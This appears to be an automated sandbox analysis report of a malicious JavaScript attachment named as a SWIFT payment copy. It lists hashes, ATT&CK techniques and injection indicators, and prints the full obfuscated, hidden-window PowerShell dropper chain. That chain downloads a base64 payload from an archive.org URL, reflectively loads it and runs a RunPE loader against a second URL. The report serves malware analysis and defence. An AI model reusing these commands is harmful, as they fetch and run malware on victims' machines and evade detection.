13539fc43990603a5ff03ea822047b4dc9fd497bd5e02848e85bb2a94740a0a6

General

Target

Swift Copy of USD 11961.50.js
Size

603KB
MD5

fe8cfc59d5069342f1d6b42822ea2577
SHA1

641c2747423abbf598148cfb1d1006becffb60bc
SHA256

ee7711a9df0823e2f820b6a1cacc69a86c0694719ffb6373b6c5428c97d969a8
SHA512

5c4408cc638d8484ad7f745b60ed4eb7aae7d911538ac986ed858fd93402ff1449f9d38e1f35bfac407edd920e1e3e386cf850db01d71eae6e40989b20ad7f82
SSDEEP

12288:lHapg5WlvjbwO8wd8yTYhq6YGOx+QXVT5dmWIRXRBU6p9TY+lwhiaZaCLaP7OXXW:9dn2XzIVQ0

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://ia904601.us.archive.org/6/items/detah-note-j/DetahNoteJ.txt

exe.dropper

https://ia904601.us.archive.org/6/items/detah-note-j/DetahNoteJ.txt

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2456	powershell.exe
6	2456	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2316	powershell.exe
2456	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2316	powershell.exe
2456	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2316	powershell.exe
Token: SeDebugPrivilege	2456	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2352 wrote to memory of 2316	2352	wscript.exe	30
PID 2352 wrote to memory of 2316	2352	wscript.exe	30
PID 2352 wrote to memory of 2316	2352	wscript.exe	30
PID 2316 wrote to memory of 2456	2316	powershell.exe	32
PID 2316 wrote to memory of 2456	2316	powershell.exe	32
PID 2316 wrote to memory of 2456	2316	powershell.exe	32

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\Swift Copy of USD 11961.50.js"
1⤵
- Suspicious use of WriteProcessMemory
PID:2352
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KAAnAFUAbQBzAHUAcgBsACAAPQAnACsAJwAgAGcARwBYAGgAdAB0AHAAcwA6AC8ALwBpAGEAJwArACcAOQAwADQANgAwACcAKwAnADEAJwArACcALgB1AHMAJwArACcALgAnACsAJwBhAHIAJwArACcAYwBoAGkAdgBlAC4AbwAnACsAJwByACcAKwAnAGcALwA2AC8AaQB0AGUAbQBzACcAKwAnAC8AJwArACcAZABlACcAKwAnAHQAYQBoAC0AbgAnACsAJwBvAHQAZQAtAGoALwBEAGUAdABhACcAKwAnAGgATgBvAHQAJwArACcAZQAnACsAJwBKAC4AJwArACcAdAAnACsAJwB4AHQAZwAnACsAJwBHAFgAOwBVAG0AJwArACcAcwBiACcAKwAnAGEAcwBlADYANABDAG8AbgAnACsAJwB0AGUAJwArACcAbgB0ACAAPQAnACsAJwAgACgATgBlAHcALQBPAGIAagAnACsAJwBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AJwArACcATgBlAHQALgAnACsAJwBXACcAKwAnAGUAYgBDAGwAJwArACcAaQBlAG4AJwArACcAdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAJwArACcAbgBnACcAKwAnACgAVQBtACcAKwAnAHMAdQByAGwAKQA7AFUAbQBzACcAKwAnAGIAaQAnACsAJwBuAGEAcgB5ACcAKwAnAEMAbwBuAHQAZQAnACsAJwBuAHQAIAA9ACAAWwBTAHkAcwB0AGUAJwArACcAbQAuACcAKwAnAEMAbwBuAHYAJwArACcAZQByAHQAXQA6ACcAKwAnADoARgAnACsAJwByAG8AJwArACcAbQBCAGEAcwBlACcAKwAnADYANABTAHQAcgAnACsAJwBpAG4AZwAoACcAKwAnAFUAbQBzAGIAYQBzAGUAJwArACcANgAnACsAJwA0ACcAKwAnAEMAbwBuAHQAJwArACcAZQBuAHQAJwArACcAKQA7AFUAbQAnACsAJwBzAGEAcwAnACsAJwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQAnACsAJwBmAGwAZQBjAHQAaQAnACsAJwBvAG4ALgBBAHMAcwBlACcAKwAnAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoAFUAbQAnACsAJwBzAGIAaQBuAGEAcgB5ACcAKwAnAEMAbwAnACsAJwBuAHQAZQBuACcAKwAnAHQAJwArACcAKQA7AFUAbQAnACsAJwBzAHQAeQAnACsAJwBwACcAKwAnAGUAIAAnACsAJwA9ACAAJwArACcAVQBtACcAKwAnAHMAYQBzAHMAZQBtACcAKwAnAGIAbAB5AC4ARwBlACcAKwAnAHQAVAB5AHAAZQAnACsAJwAoAGcARwBYACcAKwAnAFIAJwArACcAdQAnACsAJwBuAFAARQAuAEgAJwArACcAbwBtAGUAZwBHAFgAKQA7AFUAbQBzACcAKwAnAG0AJwArACcAZQB0AGgAbwBkACAAPQAnACsAJwAgAFUAbQBzACcAKwAnAHQAJwArACcAeQAnACsAJwBwAGUALgBHAGUAdABNAGUAdABoAG8AJwArACcAZAAoAGcARwBYAFYAQQBJAGcAJwArACcARwBYACcAKwAnACkAJwArACcAOwBVAG0AJwArACcAcwAnACsAJwBtAGUAdABoAG8AZAAuAEkAbgB2ACcAKwAnAG8AawBlACgAVQBtAHMAbgB1AGwAJwArACcAbAAnACsAJwAsACAAWwBvACcAKwAnAGIAagAnACsAJwBlAGMAdABbAF0AXQAnACsAJwBAACgAZwBHAFgAdAAnACsAJwB4AHQALgAnACsAJwB1AGwAJwArACcAdQB6AC8AJwArACcAdgAnACsAJwBlAGQAJwArACcALgAyAHIALgAzACcAKwAnADkAYgAnACsAJwAzADQANQAzADAAMgAnACsAJwBhADAAJwArACcANwAnACsAJwA1AGIAMQAnACsAJwBiAGMAMABkADQANQBiADYAMwAyAGUAYgA5AGUAZQA2ADIAJwArACcALQBiAHUAcAAvAC8AOgBzAHAAJwArACcAdAAnACsAJwB0AGgAZwBHAFgAJwArACcAIAAnACsAJwAsACAAZwBHAFgAJwArACcAZABlACcAKwAnAHMAYQB0ACcAKwAnAGkAJwArACcAdgBhAGQAbwBnAEcAJwArACcAWAAnACsAJwAgACwAIABnAEcAWABkAGUAcwAnACsAJwBhACcAKwAnAHQAaQB2AGEAZABvAGcARwBYACAALAAgAGcARwBYAGQAJwArACcAZQBzAGEAdABpAHYAYQBkAG8AZwBHAFgAJwArACcALABnACcAKwAnAEcAWABBAGQAZAAnACsAJwBJAG4AUAByACcAKwAnAG8AYwBlAHMAcwAnACsAJwAzACcAKwAnADIAZwBHACcAKwAnAFgAJwArACcALABnAEcAWABkAGUAcwAnACsAJwBhAHQAaQB2AGEAZABvAGcARwBYACkAKQAnACsAJwA7ACcAKQAuAFIAZQBQAGwAQQBjAGUAKAAoAFsAYwBoAEEAUgBdADEAMAAzACsAWwBjAGgAQQBSAF0ANwAxACsAWwBjAGgAQQBSAF0AOAA4ACkALABbAHMAdAByAGkATgBnAF0AWwBjAGgAQQBSAF0AMwA5ACkALgBSAGUAUABsAEEAYwBlACgAKABbAGMAaABBAFIAXQA4ADUAKwBbAGMAaABBAFIAXQAxADAAOQArAFsAYwBoAEEAUgBdADEAMQA1ACkALABbAHMAdAByAGkATgBnAF0AWwBjAGgAQQBSAF0AMwA2ACkAfAAgACYAIAAoACAAJABQAFMAaABvAG0ARQBbADIAMQBdACsAJABQAFMAaABvAE0AZQBbADMANABdACsAJwB4ACcAKQA=';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2316
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('Umsurl ='+' gGXhttps://ia'+'90460'+'1'+'.us'+'.'+'ar'+'chive.o'+'r'+'g/6/items'+'/'+'de'+'tah-n'+'ote-j/Deta'+'hNot'+'e'+'J.'+'t'+'xtg'+'GX;Um'+'sb'+'ase64Con'+'te'+'nt ='+' (New-Obj'+'ect System.'+'Net.'+'W'+'ebCl'+'ien'+'t).DownloadStri'+'ng'+'(Um'+'surl);Ums'+'bi'+'nary'+'Conte'+'nt = [Syste'+'m.'+'Conv'+'ert]:'+':F'+'ro'+'mBase'+'64Str'+'ing('+'Umsbase'+'6'+'4'+'Cont'+'ent'+');Um'+'sas'+'sembly = [Re'+'flecti'+'on.Asse'+'mbly]::Load(Um'+'sbinary'+'Co'+'nten'+'t'+');Um'+'sty'+'p'+'e '+'= '+'Um'+'sassem'+'bly.Ge'+'tType'+'(gGX'+'R'+'u'+'nPE.H'+'omegGX);Ums'+'m'+'ethod ='+' Ums'+'t'+'y'+'pe.GetMetho'+'d(gGXVAIg'+'GX'+')'+';Um'+'s'+'method.Inv'+'oke(Umsnul'+'l'+', [o'+'bj'+'ect[]]'+'@(gGXt'+'xt.'+'ul'+'uz/'+'v'+'ed'+'.2r.3'+'9b'+'345302'+'a0'+'7'+'5b1'+'bc0d45b632eb9ee62'+'-bup//:sp'+'t'+'thgGX'+' '+', gGX'+'de'+'sat'+'i'+'vadogG'+'X'+' , gGXdes'+'a'+'tivadogGX , gGXd'+'esativadogGX'+',g'+'GXAdd'+'InPr'+'ocess'+'3'+'2gG'+'X'+',gGXdes'+'ativadogGX))'+';').RePlAce(([chAR]103+[chAR]71+[chAR]88),[striNg][chAR]39).RePlAce(([chAR]85+[chAR]109+[chAR]115),[striNg][chAR]36)| & ( $PShomE[21]+$PShoMe[34]+'x')"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2456

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
ebfe9e54cb25e0b43ca444a02867c791

SHA1
ffc52a167d988c2456f1129a85bb4fef7cb6ca94

SHA256
fb7ce7fbe0b7e162c00b7adc4de7dae233810c40e007a81a60d54d32728f82f1

SHA512
9ddfc2d985ca76e12996fbc14fa6b86a215f3c029bfb3b765a8df85428dbe00d35b1afc84ed8a6fcb09fe91db6ef59c629c2a6e907bde03bc957b64d967511f4

Download Submit
memory/2316-4-0x000007FEF617E000-0x000007FEF617F000-memory.dmp

Filesize
4KB

Download
memory/2316-5-0x000000001B5F0000-0x000000001B8D2000-memory.dmp

Filesize
2.9MB

Download
memory/2316-6-0x00000000027F0000-0x00000000027F8000-memory.dmp

Filesize
32KB

Download
memory/2316-7-0x000007FEF5EC0000-0x000007FEF685D000-memory.dmp

Filesize
9.6MB

Download
memory/2316-8-0x000007FEF5EC0000-0x000007FEF685D000-memory.dmp

Filesize
9.6MB

Download
memory/2316-9-0x000007FEF5EC0000-0x000007FEF685D000-memory.dmp

Filesize
9.6MB

Download
memory/2316-10-0x000007FEF5EC0000-0x000007FEF685D000-memory.dmp

Filesize
9.6MB

Download
memory/2316-16-0x000007FEF5EC0000-0x000007FEF685D000-memory.dmp

Filesize
9.6MB

Download
memory/2316-17-0x000007FEF5EC0000-0x000007FEF685D000-memory.dmp

Filesize
9.6MB

Download

Analysis

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